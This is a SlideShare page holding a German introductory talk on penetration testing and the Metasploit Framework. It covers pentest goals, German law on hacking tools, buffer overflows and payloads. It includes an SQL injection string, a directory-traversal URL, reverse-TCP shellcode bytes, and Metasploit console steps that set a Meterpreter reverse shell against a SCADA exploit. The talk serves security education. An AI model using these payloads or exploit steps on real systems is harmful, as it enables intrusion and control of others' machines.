Successfully reported this slideshow.
Your SlideShare is downloading. ×

Offensive Security – Das Metasploit Framework

Ad
Ad
Ad
Ad
Ad
Ad
Ad
Ad
Ad
Ad
Loading in …3
×

Check these out next

1 of 32 Ad

Offensive Security – Das Metasploit Framework

Download to read offline

Pentests für Einsteiger – das Metasploit Framework und andere Tools, Mai 2020, Vortrag von Franz Wimmer (@zalintyre, Software Engineer at QAware)

== Dokument bitte herunterladen, falls unscharf! Please download slides if blurred! ==

Pentests für Einsteiger – das Metasploit Framework und andere Tools, Mai 2020, Vortrag von Franz Wimmer (@zalintyre, Software Engineer at QAware)

== Dokument bitte herunterladen, falls unscharf! Please download slides if blurred! ==

Advertisement
Advertisement

More Related Content

Similar to Offensive Security – Das Metasploit Framework (20)

More from QAware GmbH (20)

Advertisement

Recently uploaded (20)

Offensive Security – Das Metasploit Framework

  1. 1. Linux-Stammtisch Franz Wimmer @zalintyre Offensive Security Das Metasploit Framework 13.05.2020
  2. 2. „It takes 20 years to build a reputation and few minutes of cyber-incident to ruin it.“ — Stéphane Nappo
  3. 3. 1. Motivation 2. Offensive Security 3. Exploits 4. Das Metasploit Framework 5. Fazit
  4. 4. IT-Security: Motivation Keine Software ist ohne Fehler. Ein Fehler an der falschen Stelle wird schnell zur Sicherheitslücke. Bedrohungslage ist unklar… … und oft überhyped.
  5. 5. Motivation Aber: Der BSI-Lagebericht sieht auch nicht so toll aus.
  6. 6. IT-Security: Motivation So sieht die Aufschlüsselung nach bei kritischen Infrastrukturen aus:
  7. 7. Offensive Security
  8. 8. Offensive Security – Was ist das? Grundsätzlich ist es der Name einer Firma, die Security-Zertifizierungen anbietet. Es beschreibt aber auch ein gängiges Mindset™, die Sicherheit eigener Systeme durch einen aktiven Angriff auszutesten. Um Sicherheitslücken zu finden, versetzen wir uns in die Position eines Angreifers. Das kann man entweder intern oder extern (durch einen dritten) durchführen lassen.
  9. 9. Aktiver Schutz: Penetrationstests Ziele eines Penetrationstests sind (Quelle: Wikipedia): die Identifikation von Schwachstellen das Aufdecken potentieller Fehler, die sich aus der (fehlerhaften) Bedienung ergeben die Erhöhung der Sicherheit auf technischer und organisatorischer Ebene die Bestätigung der IT-Sicherheit durch einen externen Dritten. => Sicherheitslücken austesten, bevor es jemand anderes macht! Software-Tools (Beispiele): dirb (Enumeration von Verzeichnissen) KALI Linux Metasploit (Exploits) Nmap (Netzwerkscan)
  10. 10. § 202c StGB – Der „Hackerparagraph“ §202c des Strafgesetzbuchs stellt die Herstellung, den Vertrieb, Verkauf etc. von „Hacker-Tools“ unter Strafe. Klarstellung des BVerfG: Einsatz für Penetrationstests erlaubt Tipp: Schriftliche Erlaubnis des Auftraggebers einholen! Dem Auftraggeber muss klar sein, dass der Test sein System zum Ausfall bringen kann. NEU 18.01.2019 - Gesetzesantrag im Bundesrat: § 126a StGB: Anbieten von Leistungen zur Ermöglichung von Straftaten […] Rechtswidrige Taten im Sinne des Satzes 1 sind […] 7. §§ 146, 147, 149, 152a, 152b, 184b Abs.1, 202a, 202b, 202c, 263a, 275, 276, 303a und 303b des Strafgesetzbuches. Quelle: https://www.bundesrat.de/SharedDocs/drucksachen/2019/0001-0100/33-19.pdf?__blob=publicationFile&v=1
  11. 11. Exploits
  12. 12. Lokale Exploits Ein Exploit ist Code, der unbeabsichtigt und unautorisiert auf einem fremden System ausgeführt wird. Dadurch kann ein Angreifer Privilegien erlangen: Dateien Verbindungen Rechte Beispiele: Infizierte Dateien Besonders beliebt: *.pdf, *.jpg.exe Buffer Overflows Schwachstellen in lokal installierten Anwendungen Dadurch erlangt man genau die Rechte, die die angegriffene Anwendung auf dem System hat.
  13. 13. Remote-Exploits Klassische Schwachstellen bei Web-Anwendungen Lokale Exploits, die man einem Server unterschieben kann Denial of Service Z.B. durch absichtlich falsche Passwörter SQL Injection '42;UPDATE USER SET TYPE="admin" WHERE ID=23;' Directory Traversal http://www.example.com/index.foo?item=../../../Config.sys Command Execution
  14. 14. Beispiel: Heartbleed
  15. 15. Beispiel: Heartbleed
  16. 16. Beispiel: Heartbleed
  17. 17. Wie landet der Exploit im Speicher? Klassisches Beispiel: Ein Buffer Overflow Dadurch können Teile des Stacks überschrieben werden. Wenn man keine genauen Adressen kennt, wird der Speicher einfach mit "NOP"s vollgeschrieben. Diese führen irgendwann zu einem JMP zum Shellcode. Einschränkungen: Anwendungen filtern den Input, Shellcode muss evtl. alphanumerisch codiert werden Shellcode darf oftmals kein 0x00 enthalten (Null-Terminierte Strings) Der Platz ist begrenzt, Kompression oft notwendig Nicht jeder Exploit funktioniert über einen Buffer Overflow … und nicht jeder Buffer Overflow macht einen Exploit möglich.
  18. 18. ##################################################### # # # Dynamic null-free reverse TCP shell(65 bytes) # # Written by Philippe Dugre # # # ##################################################### shellcode = b"x6ax29x58x99x6ax02x5fx6ax01x5e" shellcode += b"x0fx05x97xb0x2ax48xb9xfexffxee" shellcode += b"xa3x80xffxffxfex48xf7xd9x51x54" shellcode += b"x5exb2x10x0fx05x6ax03x5exb0x21" shellcode += b"xffxcex0fx05x75xf8x99xb0x3bx52" shellcode += b"x48xb9x2fx62x69x6ex2fx2fx73x68" shellcode += b"x51x54x5fx0fx05" So sieht Shellcode in der Natur aus.
  19. 19. Payloads Ein Exploit allein bringt nichts Der Payload enthält Code, um die entdeckte Sicherheitslücke gewinnbringend zu nutzen Beispiele: Meterpreter Reverse-Shell VNC-Server Payloads laufen mit den Rechten, die der Exploit ihnen verschafft Das ist im besten Fall root Man muss aber nicht unbedingt eine Shell auf das System bringen.
  20. 20. Das Metasploit Framework (MSF)
  21. 21. Überblick Exploits und Payloads sind schwer zu schreiben Die Umgebung für einen Exploit ist schwer einzurichten Das MSF bündelt viele Exploits und Payloads. Diese lassen sich (fast) beliebig kombinieren. Das MSF schreibt Exploit-Entwicklern "Qualitätsstandards" vor. Exploits und Payloads lassen sich mit wenigen Umgebungsvariablen konfigurieren. Ausführungen: Framework Edition: Basis Community Edition: + Web-Oberfläche Pro: + Social Engineering, Antivirus Evasion, uvm.
  22. 22. msf5 > search scada Matching Modules ================ Name Disclosure Date Check Description ---- --------------- ----- ----------- exploit/windows/browser/teechart_pro 2011-08-11 No TeeChart Professional ActiveX Control Trusted Integer Dereference exploit/windows/fileformat/bacnet_csv 2010-09-16 No BACnet OPC Client Buffer Overflow exploit/windows/fileformat/scadaphone_zip 2011-09-12 No ScadaTEC ScadaPhone Stack Buffer Overflow [ ... ] msf5 > use windows/scada/scadapro_cmdexe Exploits suchen
  23. 23. Payloads Das MSF bietet viele verschiedene Payloads an (zur Zeit 562). Beispiele: Meterpreter Windows MessageBox x64 windows/exec osx/x64/exec linux/x86/adduser Exploits können (fast) beliebig mit Payloads kombiniert werden. Befindet man sich im Kontext eines Exploits, zeigt show payloads nur passende Einträge an. Mit dem MSF kann man auch infizierte Dateien generieren. Z.B. ein PDF, das eine Lücke im Adobe Reader ausnutzt.
  24. 24. Payloads - Meterpreter Eventuell ist auf dem Zielsystem keine (bekannte) Shell vorinstalliert. Z.B. Bash, CMD, … Meterpreter ist eine eigene vollwertige Shell… … die auf nahezu jedem Zielsystem läuft. Implementierungen: C PHP Java Python … Die große Kunst: Meterpreter auf das Zielsystem bringen. Danach gehört der Rechner ganz dir!
  25. 25. Reverse Shells Ein Payload öffnet im einfachsten Fall einen Port … … zu wir uns verbinden können. Firewalls können aber eingehende Verbindungen blockieren! Deshalb verwenden wir eine Reverse Shell: Wir öffnen lokal einen Port … … zu dem sich das angegriffene System verbindet! Im Zweifel: Einfach beide Varianten ausprobieren.
  26. 26. msf5 exploit(windows/scada/scadapro_cmdexe) > search payloads Matching Modules ================ Name Rank Check Description ---- ---- ----- ----------- windows/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection) windows/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection) msf5 exploit(windows/scada/scadapro_cmdexe) > set PAYLOAD windows/meterpreter/reverse_tcp Payloads suchen
  27. 27. Module options (exploit/windows/scada/scadapro_cmdexe): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 11234 yes The target port (TCP) SRVHOST 0.0.0.0 yes The local host to listen on. SRVPORT 8080 yes The local port to listen on. URIPATH / yes The URI to use. Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 172.17.0.2 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port msf5 exploit(windows/scada/scadapro_cmdexe) > set RHOSTS 10.0.0.5 msf5 exploit(windows/scada/scadapro_cmdexe) > run Optionen konfigurieren
  28. 28. Demo
  29. 29. Fazit
  30. 30. Fazit Findet eure Sicherheitslücken, bevor es jemand anderes tut! Das MSF ermöglicht es, ohne viel Vorwissen zu "hacken". Die Exploits im MSF sind teilweise sehr alt. Wenn sich ein Produktivsystem damit hacken lässt, ist das eher peinlich. Das MSF ist aber bei weitem nicht das einzige Werkzeug für Pentests. Vulnerability Scanner sind eine gute Ausgangsbasis. Ein Pentest kann aber andere Lücken aufdecken.
  31. 31. Franz Wimmer franz.wimmer@qaware.de https://github.com/zalintyre @zalintyre

×